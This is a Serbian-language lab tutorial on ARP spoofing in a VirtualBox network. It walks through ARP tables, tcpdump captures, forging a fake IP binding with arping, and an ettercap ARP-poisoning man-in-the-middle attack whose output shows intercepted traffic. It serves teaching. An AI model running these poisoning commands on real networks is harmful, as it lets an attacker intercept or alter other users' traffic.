ARP spoofing

U LAN povezanoj kablovima, računari obično imaju direktnu (point-to-point) vezu sa centralnim svičem. Takođe, ruter može da bude povezan na taj svič, i da se ponaša kao kapija (gateway) između računara na LAN-u i spoljašnjih mreža, npr. Interneta. Da li je u takvoj mreži moguće da zlonamerni korisnik (računar) vidi pakete poslate od drugih računara ka ruteru?

U opštem slučaju nije moguće, zato što sav saobraćaj poslat sa računara ide do sviča kablom koji direktno povezuje računar sa svičem i onda od sviča direktnim kablom ka ruteru. Drugi računar, ako nema fizički pristup bilo kom od ova dva kabla ne može da prestretne saobraćaj.

Ipak moguće je da zlonamerni računar presretne saobraćaj drugih računara na LAN-u ako uspe da ih ubedi da je on, u stvari, ruter. U tom slučaju, normalni računar šalje svoje pakete ka zlonamernom računaru (misleći da ih šalje ka ruteru), a onda zlonamerni računar može da prosledi te pakete (izmenjene ili neizmenjene) ka pravom ruteru. Takav zlonamerni računar izvodi čovek-u-sredini (man-in-the-middle MITM) napad. Jedan od načina da se prevare drugi računari tako da misle da je zlonamerni računar ruter je da se koristi ARP spoofing napad.

U daljem tekstu biće simuliran ARP spoofing napad na virtualnoj mreži konfigurisanoj u VirtualBox-u.

1. Podešavanje okruženja

Na osnovnoj virtualnoj mašini potrebno je instalirati dodatne pakete:

student@osnovna:~$ sudo apt-get install tcpdump iputils-arping ettercap-text-only

Potrebno je konfigurisati virtualnu mrežu kao na slici ispod. VirtualBox automatski kreira virtualne svičeve kojima su povezani računari. Na slici to su neta i netb.

Tražena konfiguracija virtualne mreže

Traženu konfiguraciju moguće je napraviti pomoću skripte topologija.kreiraj (bash topologija.kreiraj 6).

U datoj konfiguraciji node1 predstavlja računar koga želimo da prevarimo, node2 je zlonameran računar i node3 je ruter ka spoljašnjoj mreži.

2. ARP tabela

Da bi videli trenutnu ARP tabelu na računaru, koristićemo alat arp (opcija -n služi da se ne bi prikazivala imena domena, već samo IP adrese):

student@node1:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface 10.0.2.2                 ether   52:54:00:12:35:02   C                     eth0 10.0.2.3                 ether   52:54:00:12:35:03   C                     eth0

Na node1 imamo dva LAN interfejsa, eth0 i eth1. Eth0 se koristi za pristup NAT-u. Redovi u arp tabeli se odnose na taj interfejs. U daljem tekstu nećemo analizirati ovaj interfejs.

Možemo konektovati lokalni ruter, 192.168.1.1, korišćenjem alata ping. U isto vreme koristićemo alat tcpdump da uhvatimo poslate pakete. Prvo ćemo pokrenuti tcpdump, koji će uhvatiti pakete sa interfejsa eth1 i prikazivaće samo ARP i ICMP pakete (ping koristi ICMP), takođe izlaz će biti prosleđen u fajl tcpdump.log:

student@node1:~$ sudo -b tcpdump -u -i eth1 -e 'arp or icmp' -w /home/student/tcpdump.log
Tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes

Sada možemo da otkucamo sledeće:

student@node1:~$ ping -c 3 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=1.40 ms 64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.626 ms 64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.725 ms --- 192.168.1.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2000ms rtt min/avg/max/mdev = 0.626/0.917/1.402/0.346 ms

Ping je uspešno izvršen. Treba primetiti da je vreme potrebno da se izvrsi prva poruka za skoro 1ms veće od vremena druge dve poruke. Razlog za toliku razliku u vremenu je taj što je, pre prvog ping-a, korišćen ARP. Node1 mora da pronađe hardversku adresu za IP adresu 192.168.1.1. To možemo da pogledamo iz izlaza tcpdump komande:

student@node1:~$ sudo pkill tcpdump
student@node1:~$ tcpdump -r tcpdump.log
21:00:55.241004 ARP, Request who-has 192.168.1.1 tell 192.168.1.11, length 28 21:00:55.241757 ARP, Reply 192.168.1.1 is-at 08:00:27:ea:cd:23 (oui Unknown), length 28 21:00:55.241778 IP 192.168.1.11 > 192.168.1.1: ICMP echo request, id 969, seq 1, length 64 21:00:55.242364 IP 192.168.1.1 > 192.168.1.11: ICMP echo reply, id 969, seq 1, length 64 21:00:56.242579 IP 192.168.1.11 > 192.168.1.1: ICMP echo request, id 969, seq 2, length 64 21:00:56.243181 IP 192.168.1.1 > 192.168.1.11: ICMP echo reply, id 969, seq 2, length 64 21:00:57.241580 IP 192.168.1.11 > 192.168.1.1: ICMP echo request, id 969, seq 3, length 64 21:00:57.242280 IP 192.168.1.1 > 192.168.1.11: ICMP echo reply, id 969, seq 3, length 64 21:01:00.256551 ARP, Request who-has 192.168.1.11 tell 192.168.1.1, length 28 21:01:00.256618 ARP, Reply 192.168.1.11 is-at 08:00:27:fd:66:f1 (oui Unknown), length 28

U ARP tabeli je sada upisana hardverska adresa za 192.168.1.1:

student@node1:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface 192.168.1.1              ether   08:00:27:ea:cd:23   C                     eth1 10.0.2.2                 ether   52:54:00:12:35:02   C                     eth0 10.0.2.3                 ether   52:54:00:12:35:03   C                     eth0

ARP tabela sadrži hardverske adrese za uređaje koji su skorije povezani. Posle nekoliko minuta bez kontakta i adresa će biti automatki izbrisana iz tabele (ARP će morati opet da se koristi da bi se našla hardverska adresa). Takođe, moguće je i ručno ukloniti adresu iz tabele:

student@node1:~$ sudo arp -d 192.168.1.1
student@node1:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface 192.168.1.1                      (incomplete)                              eth1 10.0.2.2                 ether   52:54:00:12:35:02   C                     eth0 10.0.2.3                 ether   52:54:00:12:35:03   C                     eth0

Hardverska adresa za 192.168.1.1 nepoznata.

U prethodnom primeru korišćen je ping da bi se posredno pozvao ARP. Takođe, moguće je koristiti i specijalizovan alat arping da bi se pronašla hardverska adresa. Arping alatom se šalje ARP zahtev za navedenu IP adresu. Ponovo ćemo uključiti i tcpdump da bi videli koji su paketi poslati:

student@node1:~$ sudo -b tcpdump -u -i eth1 -e 'arp or icmp' -w /home/student/tcpdump.log
student@node1:~$ sudo arping -c 1 -I eth1 192.168.1.1
ARPING 192.168.1.1 from 192.168.1.11 eth1 Unicast reply from 192.168.1.1 [08:00:27:EA:CD:23]  1.186ms Sent 1 probes (1 broadcast(s)) Received 1 response(s)

Ako pogledamo pakete uhvaćene alatom tcpdump videćemo ARP zahtev i ARP odgovor:

student@node1:~$ sudo pkill tcpdump
student@node1:~$ tcpdump -r tcpdump.log
23:24:31.955080 ARP, Request who-has 192.168.1.1 (Broadcast) tell 192.168.1.11, length 28 23:24:31.955788 ARP, Reply 192.168.1.1 is-at 08:00:27:ea:cd:23 (oui Unknown), length 28

3. Lažna IP adresa

Sada želimo da zlonameran računar (u našoj mreži node2) koristi lažnu IP adresu, tako da drugi računari u LAN-u povežu tu lažnu IP adresu sa hardverskom adresom zlonamernog računara.

Prvo na zlonamernom računaru moramo da podesimo operativni sistem tako da dozvoli aplikacijama povezivanje na ne-lokalne IP adrese. Drugim rečima, da dozvoli aplikacijama da postave izvornu adresu paketa na neku IP adresu koja nije adresa tog računara. Na Linux-u ova opcija je onemogućena (disabled). To je parametar jezgra OS-a net.ipv4.ip_nonlocal_bind. Da bi smo videli i promenili vrednost ovog parametra koristimo alat sysctl:

student@node2:~$ sudo sysctl net.ipv4.ip_nonlocal_bind
net.ipv4.ip_nonlocal_bind = 0 
student@node2:~$ sudo sysctl net.ipv4.ip_nonlocal_bind=1
net.ipv4.ip_nonlocal_bind = 1 

Stvarna IP adresa računara node2 je 192.168.1.12:

student@node2:~$ ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 08:00:27:95:cc:31 inet addr:192.168.1.12  Bcast:192.168.1.255  Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe95:cc31/64 Scope:Link UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1 RX packets:11 errors:0 dropped:0 overruns:0 frame:0 TX packets:7 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:718 (718.0 B)  TX bytes:578 (578.0 B) 

Koristićemo alat arping sa zlonamernog računara node2 da bi poslali ARP zahtev ka računaru node1 koji sadrži lažnu IP adresu 192.168.1.5 i hardversku adresu interfejsa eth1 računara node2. Lažna IP adresa 192.168.5 je nasumično izabrana neupotrebljena IP adresa:

student@node2:~$ sudo arping -c 1 -U -s 192.168.1.5 -I eth1 192.168.11
ARPING 192.168.1.11 from 192.168.1.5 eth1 Sent 1 probes (1 broadcast(s)) Received 0 response(s) 

ARP tabela na računaru node1:

student@node1:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface 192.168.1.5              ether   08:00:27:95:cc:31   C                     eth1 192.168.1.1              ether   08:00:27:ea:cd:23   C                     eth1 10.0.2.2                 ether   52:54:00:12:35:02   C                     eth0 10.0.2.3                 ether   52:54:00:12:35:03   C                     eth0

Kada god računar node1 želi da pošalje podatke na adresu 192.168.5, on će ih poslati na hardversku adresu 08:00:27:95:cc:31 koja je adresa računara node2. To može da se testira tako što će računar node1 da ping-uje adresu 192.168.5, a da se alatom tcpdump na računaru node2 uhvate ICMP poruke.

4. Čovek-u-sredini (MITM) napad

Iz prethodog primera smo videli da zlonameran računar može da koristi ARP tako da se predstavi kao neko drugi na LAN-u. Ovu osobinu je moguće iskoristiti tako da se zlonameran računar node2 predstavi računaru node1 kao ruter (u našem slučaju node3), a ruteru node3 kao node1. Na taj način sve što računar node1 pošalje ka ruteru node3 će u stvari biti poslato računaru node2, i sve što ruter node3 pošalje računaru node1 će u stvari biti poslato računaru node2. U tom slučaju zlonameran računar node2 može da:

  • Uništi pristigle pakete i tako izvede napad denial-of-service na računaru node1 i ruteru node3.
  • Zapamti primljene podatke i prosledi ih, nepromenjene, ka pravoj destinaciji. Ovo je pasivni presretački napad.
  • Izmeni podatke i prosledi ih ka pravoj destinaciji. Ovo je aktivni presretački napad.

Zlonamerni računar node2 je, u odnosu na poslate pakete, između računara node1 i rutera node3 pa je na osnovu toga ovaj napad dobio naziv čovek-u-sredini (MITM).

Analiziraćemo pasivan presretački napad. Koristićemo alat ettercap da bi smo automatizovali sve korake pri korišćenju ARP za lažno povezivanje IP i hardverske adrese na računaru node1 i ruteru node3 tj. za MITM napad (parametra -M arp alata ettercap). Takođe, pokrenućemo i alat tcpdump da bi smo videli prosledjene pakete.

student@node2:~$ sudo -b ettercap -i eth1 -T -M arp /192.168.1.11// /192.168.1.1//
#[1mettercap 0.8.0#[0m copyright 2001-2013 Ettercap Development Team Listening on: eth1 -> 08:00:27:95:CC:31 192.168.1.12/255.255.255.0 fe80::a00:27ff:fe95:cc31/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 16074 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.1.11 08:00:27:FD:66:F1 GROUP 2 : 192.168.1.1 08:00:27:EA:CD:23 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help 
student@node2:~$ sudo tcpdump -u -i eth1 -e 'arp or icmp'

Ettercap koristi ARP da bi poslao pogrešnu hardversku adresu žrtvama. Ako pogledamo ARP tabelu računara node1 i rutera node3 videćemo da je hardverska adresa uparena sa odgovarajućim IP adresama u stvari hardverska adresa zlonamernog računara node2.

student@node1:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface 10.0.2.3                 ether   52:54:00:12:35:03   C                     eth0 192.168.1.12             ether   08:00:27:95:cc:31   C                     eth1 192.168.1.1              ether   08:00:27:95:cc:31   C                     eth1 10.0.2.2                 ether   52:54:00:12:35:02   C                     eth0
student@node3:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface 10.0.2.3                 ether   52:54:00:12:35:03   C                     eth0 192.168.1.12             ether   08:00:27:95:cc:31   C                     eth1 10.0.2.2                 ether   52:54:00:12:35:02   C                     eth0 192.168.1.11             ether   08:00:27:95:cc:31   C                     eth1

Sada možemo da pošaljemo neki paket sa računara node1 ka ruteru. U ovom slučaju koristićemo alat ping. U isto vreme možemo da posmatramo izlaz iz alata tcpdump na računaru node2.

student@node1:~$ ping -c 1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=8.06 ms --- 192.168.1.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 8.065/8.065/8.065/0.000 ms

Izlaz iz alata tcpdump sa računara node2:

17:09:48.038302 ARP, Reply 192.168.1.1 is-at 08:00:27:95:cc:31 (oui Unknown), length 28 17:09:48.038384 ARP, Reply 192.168.1.11 is-at 08:00:27:95:cc:31 (oui Unknown), length 28 17:09:51.632094 IP 192.168.1.11 > 192.168.1.1: ''''**ICMP echo request**'''', id 1055, seq 1, length 64 17:09:51.633519 IP 192.168.1.11 > 192.168.1.1: ''''**ICMP echo request**'''', id 1055, seq 1, length 64 17:09:51.634106 IP 192.168.1.1 > 192.168.1.11: ''''**ICMP echo reply**'''', id 1055, seq 1, length 64 17:09:51.637230 IP 192.168.1.1 > 192.168.1.11: ''''**ICMP echo reply**'''', id 1055, seq 1, length 64 17:09:58.048624 ARP, Reply 192.168.1.1 is-at 08:00:27:95:cc:31 (oui Unknown), length 28 17:09:58.048679 ARP, Reply 192.168.1.11 is-at 08:00:27:95:cc:31 (oui Unknown), length 28

Zlonamerni računar node2 hvata ICMP zahtev poslat sa računara node1 ka ruteru node3. Možemo videti da je, u stvari, računar node1 poslao zahtev na zlonameran računar node2, a da je onda računar node2 posla isti paket ruteru node3. Zlonameran računar node2 je došao u posed kopije svih podataka iz komunikacije između računara node1 i rutera node3, a da ni računar node1 ni ruter node3 nisu svesni toga.

Ettercap je moćan program koji može da izvede i druge tipove MITM napada. Koristeći alate ettercap, arping i slično može da se proširi znanje o napadima i kasnije popravi sigurnost računarske mreže i aplikacija koje pravimo.